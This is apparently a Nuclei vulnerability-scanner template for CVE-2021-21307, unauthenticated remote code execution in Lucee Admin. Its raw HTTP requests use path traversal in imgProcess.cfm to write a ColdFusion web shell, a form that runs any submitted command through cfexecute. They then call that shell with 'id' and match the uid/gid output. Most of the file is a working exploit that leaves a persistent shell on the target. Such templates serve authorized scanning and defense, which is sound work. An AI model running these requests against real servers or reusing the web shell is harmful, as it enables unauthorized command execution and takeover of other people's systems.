id: CVE-2021-21307

info:
  name: Remote Code Exploit in Lucee Admin
  author: dhiyaneshDk
  severity: critical
  description: Lucee Server is a dynamic, Java based (JSR-223), tag and scripting language used for rapid web application development. In Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 there is an unauthenticated remote code exploit. This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, one can block access to the Lucee Administrator.
  reference: |
        - https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
        - https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
        - https://nvd.nist.gov/vuln/detail/CVE-2021-21307
  tags: cve,cve2021,rce,lucee,adobe

requests:
  - raw:
      - |
        POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 8

        imgSrc=a
      - |
        POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 790

        imgSrc=
        <cfoutput>

        <table>
        <form method="POST" action="">
        <tr><td>Command:</td><td><input type=test name="cmd" size=50
        <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
        <tr><td>Options:</td><td> <input type=text name="opts" size=50
        <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
        <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
        <cfif isdefined("form.timeout")>value="#form.timeout#"
        <cfelse> value="5"</cfif>></td></tr>
        </table>
        <input type=submit value="Exec" >
        </form>
        <cfif isdefined("form.cmd")>
        <cfsavecontent variable="myVar">
        <cfexecute name = "#Form.cmd#"
        arguments = "#Form.opts#"
        timeout = "#Form.timeout#">
        </cfexecute>
        </cfsavecontent>
        <pre>
        #HTMLCodeFormat(myVar)#
        </pre>
        </cfif>
        </cfoutput>
      - |
        POST /lucee/{{randstr}}.cfm HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded

        cmd=id&opts=&timeout=5

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        part: body
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"